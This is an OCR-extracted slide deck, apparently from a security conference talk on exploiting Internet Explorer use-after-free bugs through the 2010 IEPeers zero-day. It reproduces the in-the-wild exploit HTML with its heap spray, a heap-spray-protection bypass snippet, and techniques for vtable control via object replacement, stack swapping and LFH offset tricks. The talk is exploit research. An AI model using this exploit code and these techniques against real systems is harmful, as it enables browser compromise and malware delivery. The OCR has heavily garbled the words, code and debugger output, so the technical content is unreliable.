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Aleatoricism is The creation of arf
by chance, exploifing The principle of
randomness, The word derives trom

the Lafin word alea, the rolling of
dice,
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The fime of remotfes ruling
the earTh, is gone

History of vulnerabilities
Sendmail vulnerabilities in CERT advisories and alerts:

s "TADG6-081A Sendmail Race Condition Vulnerability” &. US-CERT Aleris.

s "CA-2003-25 Buffer Overflow in Sendmail” . CERT Advisories. Retrieved January 7, 2005.

s "CA-2003-12 Buffer Overflow in Sendmail” &. CERT Advisories. Retrieved January 7, 2005.

« "CA-2003-07 Remote Buffer Overflow in Sendmail” . CERT Adviscories. Retrieved January 7, 2005.

« "CA-1997-05 MIME Conversion Buffer Overflow in Sendmail Versions 8.8.3 and 8.8.4" dd. CERT Advisories. Retrieved January 7, 2005.
& "CA-1996-25 Sendmail Group Permissions Vulnerability” &. CERT Advisories. Retrieved January 7, 2005.

s "CA-1996-24 S5endmail Daemon Mode Vulnerability” &. CERT Advisories. Retrieved January 7, 2005.

s "CA-1996-20 Sendmail Vulnerabilities" &. CERT Advisories. Retrieved |January 7, 2005.
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BROWSER BULAS! !

0-day exploit for Internet Explorer in the wild

IEPeers — A New Internet Explorer Zero Day Vulnerability

EY PREFECT - MARCH 10, 2010 - PRINT THIS POST - POST A COMMENT

FIN=apilLinl=cy ALURCAA DRIVE BY DOWMLOAD, INTERMET EXPLORER, MICROSOFT, REMOTE EXPLOIT, VULMERABILITY

Attackers exploiting unpatched vulnerability in Internet
Explorer

Posted on 15 January 2010.
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- Microsoft is investigating a report of a publicly

' exploited vulnerability in Internet Explorer. There
are active attacks attempting to use this
vulnerability against Internet Explorer B.

The vulnerability exists as an invalid pointer
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Advanceo ‘vl

. Stealthness
. Reliability
. RobusTtness



Persistent
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How does oday get l
caught in the wild?
. 1DS Prolection

. Honedpots

. Unreliable Exploits



N
Use affer free ‘l

Since the advance of software
profection, developer education
and compiler improvements,
memory corruption bugs are dying.
Bul browser use—atfer—Tfree bugs
are a very crude reality



N
Use atfer tree I
‘A use—atter—ftree occurs when memory s
used atter it was previously deallocated,

Object Freed Object Used




Finding Use atfer tfree l
. Method/Property retaining an object
without incrementing the reterence.,

. Shallow copies (Aurora)

. Reterence desynchronization
 Incorrect API usage

Check out BH 2004 Attacking Interoperability (Dowd, Smith and Dewey)



exploifing Use atter
Tree 101

Object Freed Object Used

llIHHHHHiII

To be continued,..



N
COM: Component Object ‘I
Model

. Language—central way of implementing
objecTs

. Widely used in Microsoft Lanquages

. Objects responsible tor their own
creation

. Maintenance ot reterence counter



N

COM: TUnknown

All COM components must implement
IUnknown intertace

Method Description
Querylnterface
Retrieves pointers to the supported interfaces on an object.

AddRef
Increments the reference count for an interface on an object.

Release
Decrements the reference count for an interface on an object.



| N S
OLE AutomaTion ‘l

. Created by Microsott To provide an
infertace to automate controllers

. Designed originally for visual basic
. Allows you to access/call
properties/methods by *names”



N

OLE Automation

Must implement The IDispalchEx infertace

IDispatchEx::DeleteMemberByDisplD

Deletes a member by DISPID.
IDispatchEx::DeleteMemberByMame

Deletes a member by name.
IDispatchEx::GetDisplD

Maps a single member name to its corresponding DISPID, which can then be used on subsequent calls to IDispatchEx::InvokeEx.
IDispatchEx::GetMemberName

Retrieves the name of a member.
IDispatchEx::GetMemberProperties

Retrieves a member's properties.
IDispatchEx::GetNameSpaceParent

Retrieves the interface for the namespace parent of an object.
IDispatchEx::GetNextDisplD

Enumerates the members of the object.
IDispatchEx::InvokeEx

Provides access to properties and methods exposed by an IDispatchEx object.



OLE Automation

bstrName SysAllocString(OLESTR("cat"));

hr = pObj->GetDispID(bstrName, 0, &dispid);
hr = pObj->InvokeEx(dispid,

LOCALE_USER_DEFAULT , DISPATCH_PROPERTYGET ,
&dispparamsNoArgs, &var, NULL, NULL);



Variants

. Commonly used in jscripd
to communicale with COM  wner commmame

objects
. Data Tupe confaining a R0 ehederued
type field and a union
member used as a generic

variable VARIANT. BOOL. boolvals



Variants

. Variants can also reference objects
e.qd. idispalch poinfers:

#define VT DISPATCH 9

IDispatch  RPC FAR* pdispValj;



VarianT manipulation

vl
VariantInit(var %)

Initializes the VARIANT by sefting it fo
VT_EMFPTY
VariantClear ( var¥)

Clears the VARIANT, it the VARIANT fype
s VT_DISPATCH, it will be release() 'd
VariantCopy(var *dest, var #src)

Clears the destination VARIANT and copies

the source to it, increments the reference by
(ONe



VarianT manipulation I
VarianChange Type(var dest, var src,
short wFlags, VARTYPE vi)
Converts a VARIANT from SRC type 1o the
type indicated in the VT argument,

Clears the destination betore copuing the
content




N
IE_PEERs ‘ I

. The bug was being exploited in the

wild

. Payload downloaded and executed a

binary Tt
« GLOBA

le from notes. Topixzicentury.com

_ HIGH SECULRITY RISK::(im)

. Deeper research showed that the A’
in APT was for Aleatory



N
1E_PEERS ‘ I

. IE 5,5 infroduces DHTML Behaviors
. *Behaviors are components thal
encapsulate specitic functionalify or
behavior on a page,’

. e,g, Enhance a web element
behavior



N
1E_PEERS ‘ I

e One ot the detault behaviors was
Persistence

. Persistence enables authors to specity an
object 1o persist on The client during the
current and later sessions

. *userData’ persisis page state ana
intormafion within an XML sfore, a
hierarchical dafa structure



N
IE_PEERs ‘ I

setAttribute (sAttrName, vATTrValue)
Set the value of a specitic aftribute

To persist the vAtTrValue, it calls
VariantChange TypeEx To Transtform fhe
source info a string,

It passes The same variable as source
and destination arguments



JE_PEERs

4

CPU - thread 000004D0, module OLEAUT32

SBFF MOV EDI,EDI
F7126AAQ8 55 FUSH EBFP
F7126AR9 SBEC MOU EBP,ESP

FF126AARB 83EC 38 sUB ESP,38
FI126ARE 837D 88 B8 CHP
f7126AB2 53 PUSH EB=x
F7126AB3 Lh PUSH ESI

B198E918
B198E91C
H198E928
H198E924

B198BE928
B198E92C
H198E93 08

L87752EG
8198E95C
H198E95C
0888489
(SLSTEpsRsRslele)
0080008
[SISTSRSRSNsIsNs)

RETURH to iepeers.587752E6 from DLEAUT3Z .VariantChangeTypeER



N S
RECAPTITULATING ‘ I

. Use atfer tree is all about playing with
the REF counter

. Exploiting seems Trivial, you just replace
the free chunk with something usetul
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<html>
<body>
<button id="helloworld" onclick="blkjbdkjb();" STYLE="DISPLAY:NONE">
</button>
<script language="JavaScript" src="bypasskav.txt">
</script>
<script language="JavaScript">
function eejeefe(){
var s=unescape("%ulclOc");
var u=unescape("3%ulcOc");
var c=s+u;
var array = new Array();
var 1ls = 0x86000-(c.length*2);
var b = unescape("%ul0c0c%ulc0C");
while(b.length<ls/2){ b+=b; }
var lh = b.substring(0,1s/2);
delete b;
for(i=0;i<270;i++) { array[i] = 1lh + 1h + c;}
}
function blkjbdkjb(){

cejeete(); - Fail #1
var sdfsfsdf = document.createElement("BODY");
sdfsfsdf.addBehavior ("#default#userData");
document.appendChild(sdfsfsdf);

try { :
for (i=0;i<10;i++) { Fa|\ #)

sdfsfsdf.setAttribute('s',window);“
}

}catch(e) {} .
window.status+="'"; - Fa|\ #3

}
document.getElementById("helloworld").onclick();

</script>
</body>
</html>




Chunk Norris fact #1

“HEAP SPRAY MAKES EXPLOIT
WRITERS DULL BOYS”



Randomness

vl

Object Freed Object Used

A

Bul WHY does it sfill




Pray after
free
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Pray atfer free ‘l

1) Free object gets randomly allocated
with a string or something else, that ends
up pointing fo heap spray confrolled
Memovy
2) Free object gefs the viable LSB
moditied by LFH USERBLOCK oftset (more
on this later), which somehow ends up
pointing to heap spray controlled memory



Pray atfer free
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Pray after
free

(analogies)
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Like going to War=with a
Russian roulette gun




&) Chatroulette! - Mozilla Firefox

Archive Editar Ver Historial Marcadores Herramientas Ayuda
@ 8@ Qm http://www.chatroulette.com/ o 2| |29 Google 2 @V

-F Facebook|1mcm £ Twitter / Home o | e Chatroulette! @+ |

™ Auto reconnect
e——

> Your partner disconnected. Press "Next" to find a new person!
> Connected, feel free to talk now

> Your partner disconnected. Press "Next" to find a new person!
> Connected, feel free to talk now

> You disconnected. Press "Next" to find a new person!

> Looking for a random stranger, please wait

> Connected, feel free to talk now

> Your partner disconnected. Press "Next" to find a new person!
> Connected, feel free to talk now

Stranger: hi

You: hi

Stranger: how u doin

You: good
> You disconnected. Press "Next" to find a new person!

> Looking for a random stranger, please wait

> Connected, feel free to talk now
You: nice

You: lol

You: I've been rickrolled
Stranger: /b/

Stranger is typing

le Chat Chatear Chat Mu'eres Sala De Chat Face to Face Chat

Terminado 3

Like looking for porn in
ChatRoulette




@
Use atfer tree
(the right way)



1) Understand whal you vl
are treeing

Understand whal you are treeing:

a) Can it be controlled?

b) Find oul the precise size of the
object:



1) Understand what you

N
are Treeing l
. Every Javascript object in mshiml.dll

(documents, window, elements, etc) is
represenfed via a Tear 0ff Inferface

. A Tear 0ftf inferface works as a
wrapper for the other objects, creating
the veal object only when a client needs it
and maintaining reterences,




1) Understand what you
are freeing

vl

EA N

push 28h ; duBytes

call __HemAllocldy ; HMemAlloc{z)
mov esi, eax

test 1, B51

jnz loc_3ED12CBS

Tear 0tf objects are the ones
passed To setAttribute



2) Replacement with vl
controlled data

. Objects contain The viable poinfer as The
tirst DWORD in memory, Tscript strings
cannol be used anymore as They are layed
out as: DWORD Size + STring

. Possible alternative: Checking DOM
Element Properties/Methods allocation

. Insert your own idea



Element properties vl
(static analysis)

. Every Element inherits the infertace from
Celement and as a consequence trom
Chase,

. Every Element should override the
GetClassDesc method which returns
intormation about the Element.



Element properTies
(static analysis)

HDLDESC
[..]
STringTableAggregate

¥ ¥Celement_stringTable
¥ ¥ CXXXXX_StringTable




Element properties ¢
(static analysis)
. StringTable holds a big array of
CAssocVTable structures with the into

aboul every properTy
. CBase::6e1DispID and Cbase::InvokeEx
widely use CAssocVTable to infernally find

every properTy setter/getter






N

Element properties
(static analysis)

. Property setffer/getfer is obtained by
calling an invoke function:

uuid = UUID LIST] ]

object = Cbase::QueryInterface(uuid)
function index =

INVOKE FUNC LIST[PropDesc->WInvFunc]( object,
function ndx , ...)



Element

(static

properTies
analysis

¥ LA ;
EAN Ll EAN Ll
push [ebp+Size] ; duwBytes
push 8 : dwFlags loc_ FL4EBACCF:
push _q_hProcessHeap ; hHeap ®or eax, eax
call ds: imp_HeapAlloc@E12 ; HeapAlloc(x,x,x}} [and [esi], eax
mov [esi], eax jmp short loc 7AHEB4CB2
) 7?7 HeapAllocStringEEYGJPEGPAPAGEZ endp
!
Yy
EAN L
loc_74EBACB2:
test edx, eax
jz loc_74EBDFA4
L
L 4 L 4
ERN Ll EEN Ll
push [ebp+3Size] ; Size} |; START OF FUHCTION CHUHK FOR ?_HeapfAlloc3tring@@YGJPBGPAPAGEZ
push [ebp+5rc] Y of
push eax ; Dst | [loc 74EBDFAL:
call _memcpuy mow eax, 8080870080Eh
add esp, GCh jmp locret 74EBLCCB
Z0r eax, eax ; END OF FUHCTIOH CHUHK FOR ? HeapfllocString@EYGJPBGPAPAGEZ




Element properTies
(dynamic analysis)

6etDispID - Dispid + Properfy name

TnvokeEx » Set Allocation hooks
Log by dispid

VIR R~ Size + Mem
RtlFreeHeap ~» Mem

InvokeEx (ret) > Show resulds

-«




Element properties
(dynamic analysis)

var ¢ = document.createElement( "P" );
for(var x 1n c) {

try {
c[x] = “COCACOLA";

} catch (e) { }
}



Element properTies
(dynamic analysis

Invoke (2147558394, aria—hiddenl

20DEAAY0S| [#]1 Sniffing the selected Funct ion
30AC2315 AllociBx@EalSanan, B-EEEEEEEE, B4E888aaa12) -> aeez2l17sban
FCIIFEFYA| HllociB-@EalSaaRR, BX00EEEEEE, B4E888881238) —-> AEEZ236s20
B0AC9E42| Free [(BRER1SHAAR, A:EEEEEEEEH, BaEE2329=2]

[#] Chunk freed but not allocated on this heap flow
Z0AC9E42| Freese [(BRER1SHAAR, A:EEEEEEEEH, BaEE2329=2]

[#] Memleak detected
30AC2315 AllociB-@EalSaaAR, BXEEEEEEEE, B4E88888812) -» aeaz2l7sban
HZ17E8B28 (43 B8 4F A8 42 A8 41 6@ 43 668 4F 88 4C 88 41 68 ", "C.0.C.AH.C.0O.L.H.7]
BZ17E8E88 (2@ 88 SF 88 28 A8 66 BE EB 12 90 ES @8 88 a2 FF ", "@._.
HZ2178B3E (", "1
FLCI37EYH Hllnc[EHEEIEEEEE H:EEEEEEEE, auaaaaalaan) - EHBEEEEEEE
HEZIGEZS (@@ 1F @@ 88 BY B4 Hl 88 28 EE Ba 30 @@ 3C 17 82 *,
HEZ3EEZS (@@ 1F B8 A8 B9 A4 A1 8@ 68 4F BAE 320 @@ 2B 17 @2 -, ©
HEZIGEZS ([ ° rr
[- End of Funct ion

Invoke (2147555199, onblurl

20ERAYOS ]l Sniffing the selected Function
3DAC231S AllociB-@EalSanna, B-E0EEEEEE, B4E888aaa12) -> aeez2l7sbad

#]1 Chunk freed but not allocated on this heap flow

#] Memleak detected
30AC931E Hllnc[BHEEIEEEEE B EEEEEEEE, BnBaaaaals) -> 84621 78bad
HZ178BAE [ "432 A8 4F B8 43 EE 41 H8 43 EE 4F 6@ 4C B8 41 @8 *, "C.0.C.H.C.0.L.H.
Bz2173EBRE EB HE 5F B8 28 @8 a8 @@ EF 12 9A ES 6@ 88 @8 FF ", "8._.
HZ173BAE "R

-1 End of Function

[+] Inuwoke (2147554247, hideFocus)
3DBERFDS [#] Sniffing the selected Function
Frd4FO0E3E| Al lociB=BR1SEAAR, A-:EEEEEEEE, B4EEEEEEZE] -> AxE21264+3

[L#] Chunk freed but not allocated on this heap flow

[#] Memleak detected
Frd4FO0E3E| Al lociB=BR1SEEAR, AxEAEEEREEE, B1EEEEEE2EH] - EHEEIEE4FE
H21864F S '16 HE @8 88 43 BE 4F 88 43 EE 41 6@ 43 @8 4F 88 *,
HZ21864F3 (40 B8 41 A8 26 AA 5F 6@ 260 66 B @8 B8 B8 @8 @@ ", 'L.H.
H21864F S .ot

-1 End of Function




Use affer free ‘vl

Exploitation is now Trivial:
. Free the object
. Allocate chunks Through DOM properties
. Use The object

The vtable is under our control, at which
poinT heap spraying now makes sense



Chunk Norris fact #2

“WINNERS USE HEAP SPRAY
CONCIOUSLY”



Heap Spray

‘l
IE ¢ infroduced a weak Heap Spray

protection, Trivially bypassed with a small
Tweak:

hl[0] = nops + shellcode;

for (var 1 =1 ; 1 < 100 ; 1i++) {
hl[i1] = hl[0].substring(O0,
hl[0].length )

}



ol
Exploiting Use
atter Tree

(in a non Traditional
way )



Non tradifional v
Use atter tree l

Object Replacement:
. Replacement of an object with another
object of the same size, bul with a
ditferent vtable
. Could allow us o be more precise
. Changing the primitive:
. Intoleaks
. Write4, efc



Non fradifional @
Use atfer free l
1) Identity the friggering tunclions:

. Find all the potential functions that

will be Triggered on your replaced
object
. Find oul The arquments

.- Types ot argument,

. Which ones are under our control?

. Find the *frigger offsets”
( function oftsel on the viable)



Non traditional
Use atter tree

CPU - thread 00000400, module jscripk

¥FLC73IBDG
f5C73BDD
FLCY3BDC
¥5C73BDF
FLCY3BEA
{5C73BEL
fGC73BES
¥5C73BER
fLCY3IBER

PUSH
MOU EAX,
PUSH
MOU ECK,DWORD PTR DS:[EAX]
PUSH
FUSH EAX
DUWORD PTR DS:[ECK+1C]
LEA ECXK,
MOU ESI,EAX

DS:[GDAD184A]=755C1334 (<&msvcrt. except_handlerd:)

ASCI | Comment

02996988 ODOD1624 SH..
A29949BC M141CBCY AAAA
B29969CA 41414141 AAAA
B29969CH 1414141 AAAA
029969C8 41414141 AAAA

{&msvcrt. except handler3>

=}

A198EC1C
B198EC20
B198EC2Y
B198EC28
B198EC2C
B198EC30

02996988
820083884
gageaam
@198ECOSB
82996988
88358B58

imm
m0.N
[ P
mimm
,imm
XmS.

82996988
aDep1824
B2086R28
gagaeea
B198ECAC
B198EC3C
82996988
SIELSRE LS RET 6]

75C73BES jscript.?5C73BES

RETURH to ﬂzggﬁgﬂﬁ from B1ASG6BSG
UHICODE "createElement"

RETURH to 8299469B8 from B1ASGBSG




Non traditional
Use atter tree

+4 Addret
e.bleh = p

+¢  Release
delete p;

+1C 6etDisplD

p.createElement= “A";
p[“createElement”] = “A";

+24 DeleteMemberName
delete p.bleh;

+34 GeTNexIDispID

for(x in p)



Non tradifional N

Use affer free l
2) Identity all the objects with the same
s1z2e

. Which tunctions live af the reachable

trigger oftsets

. Find out the arguments and how they

are being used



Non traditional
Use atter tree

I E:Dccurrem:es of value Ox28 :
Addresz Function *  |nzstruchion :I

dext3EDATBDF PEnzureCollectionCach... push  28h ; dwBytes
tewt 3EFZEAAT PGetBindlinfo@ChwnP...  push  28h ; dwBytes
Stewt IED4286E PEnzureCollectionCach...  puzh  28h ; dwBytes
dewt3EEDYRAC PCreateRead0nlySubst...  push  28h ; dwBytes
et 3EDRIRAR PGetlayoutFromFactar..  push  28h ; dwBytes

; text IEF4AF 75 PEnzureCollectionCach...  puzh  28h ; dwBytes

] fext 3EDBIBAZ PGetlayoutFromFactar..  push  28h ; dwBytes
dext 3EDABCFD PCreate@CSecureHT...  push  28h ; dwBytes
text:3IEETTFET PCOwnPostT oY anant. .. push  23h : dwBytes
text:3EEBBRAD PFinddbjecti@CRecals...  push  28h ; dwBytes
dext3ECEATZ0 nitCallectionz@Char...  push  28h ; dwBytes
Stext 3ECA9R36 PCreateElement@CTi...  push  28h ; dwBytes
fext:3EDARYYBB PCreateElementi@CBas... push  28h ; dwBytes
fext3EEBYFZE PCreate@CDataSourz...  push  28h ; dwBytes
dewt3EF14183 toddElementSegment...  push 28h ; dwBytes
fext3EDT45E9 PCreateTearOffThunk... push  28h ; dwBytes
tewt IEF23028 PEnzureCollectionCach...  puzh  28h ; dwBytes I
Sfewt3EDE3AAC PCreateElement@CHao...  push  28h ; dwBytes
tewt:3ECCED 2B PGetstle0bect@CEle..  push  28h ; dwBytes
text: IEDETEER YgetBoundingClentRe...  puzh  28h ; dwBytes
dext3EDD1AT9 _DlICanrloadt owE@0 puzh  28h ; dwBytes -

o[ e Mo te 1o om0 eote . I _*I_I




N

Element objects

Slze Element type

0x2C BODY, DIR, DL, FIELDSET, H<1-6>, MENU, META, NOEMBED, NOFRAMES, NOSCRIPT, OL, UL

0x34 BGSOUND, COMMENT, TD, TH

0x3C IFRAME, LABEL




Use atfer tree ¢
Agenda

. Parameters Abuse

. Stack Swapping

. Double 0Object replacement
. LFH Modification



Use atfer tfree

N
Parameter Abuse l
. Parameter abuse consists of finding a
replacement tunction that will do
something usetul with the now mismatched
paramelers,
. Function Pointers
. Write4

. Infoleaks




Use aftfer free
STack swapping

vl
. Stack swapping consists ot finding a
tunction That fakes more or less
paramefers Than the original function, in
order To misalign the stack after the
malicious replacement has been called.

. As a result you could e.g, end up with
EIP/ESP control



Use atfer free I
Double Object replacement

. Sometimes it is hard 1o find a
replacement tunction tor the trigger
ottset That suifs you

. The trick is To find a replacement
object that allows you to obtain more
potential 1riggering oftsels after a
second use—atfer—Tree



Use atfer free
Double Object replacement

1) You have an object Memory chunk

a) Original Object
a = Object()




Use atfer free I
Double Object replacement

Memory chunk

2) Object is tree() d by

the use—atfer—tree bug
a = Object()
seTAttribute(a)




Use atfer free
Double Object replacement

3) Allocate a replacement Mlemory chunk

object with more *frigger
oftsets’ b) Replacement Object

a = Object()
setAttribute(a)
b - Replacementobject()




Use atfer free I
Double Object replacement

+) Delete object *a*, this Memory chunk

will Trigger Release on
Replacement 0Object

a = Object()
setATTribute(a)

b - Replacementobject()
delefe a;




Use atfer free
Double Object replacement

5) Allocate a 2 Memory chunk

Replacement Object
c) Replacement Object

a = Object()
sefAttribute(a)

b - Replacementobject()
delete a;

c - Replacedbject2 ()




Use atfer free
Double Object replacement

b) Trigger ' replacement Memory chunk

with a ditferent trigger
function c) Replacement Object

a = Object()
sefAttribute(a)

b - Replacementobject()
delete a;

c - Replacedbject2 ()

b. TriggerFunction()




Use atter tree
LFH modification

vl

. LFH on Vista/Win1 works with *lazy
acTivaTion”

. On XP/2003, it just replace the
Lookaside

- The LFH ‘Lazy acTivaTlion” acTivates The
LFH on a specific size based on behavior



Chunk Norris fact #3

After this presentation, go watch
Chris Valasek's “Understanding the
LFH: From Allocation to Exploitation”

Day two, 15.15hs “Exploitation track”



Use atter tree I
LFH moditication

. It LFH is not set on the object size,
you can Take advantage of the Freelist
double linked list




Use atter tree
LFH moditication

e IF LFH is sef,
. 000 SubSegmentCode NextFreeChunk
FreeChunks are all chainelm fese, = | UserBlocke +

007 LFHFlags
< - Offset

together by ottset, You— ™
can find the list of all [EEl”

007 LFHFlags

free chunks (and the e

order) by following the |@zes="""™

007 LFHFlags

OF‘FS@T,‘\'O,NGX*, |- DATA




Use atfer tfree

LFH moditication

FFBCAFG6G6  BOLH BC MOU DWOR
FFBCOAFG69 C7842Y4 BA7888188 HMOU
FFBCBF7A  BHCC MOU ECX,
FFBCBFY2  6A M PUSH 1

Return to 77BCA6A8 {ntdll.77BCHG6AH

003BB858 9C CE DY
003BB86 0 00
003BB86S 00 00 \0O
003BBE70 00 00 00
003BBE78 00 00 0O

(A RR LR RD o

B63BB738
B83BB780
B63BB/CE
B63BB310
B63BB858
B63BB3AG
BA3BBBES
BA3BB930
BA3BB978
BA3BB9CH
BA3BBR A8
BA3BBASH
BA3BBA98

Chunk
Chunk
Chunk
Chunk
Chunk
Chunk
Chunk
Chunk
Chunk
Chunk
Chunk
Chunk
Chunk

1fhflag:
1fhflag:
1fhflag:
1fhflag:
1fhflag:
1fhflag:
1fhflag:
1fhflag:
1fhflag:
1fhflag:
1fhflag:
1fhflag:
1fhflac

dd 0x3BB858

|

|Paused

a:25 AM



Use atter tree I
LFH modification

. Oftsets just modity the LSB (Two bytes)
. You could overwrite the viable LSB with
a predictable offset (the offset will vary
depending on the object size)
. You need 1o Tind something usetul fo
jump at:

(viablex“0xFFFF) + Func Ottset + LFH offsef



| N S
Conclusion ‘I

« 11 works

. The Chinese need to start hiring belfer
exploit writers it they don't want to lose
more bugs

. Exploits > Bugs



QuesTions?

nicolas@immunityinc.com

Twitter: @nicowaisman



mailto:nicolas@immunityinc.com
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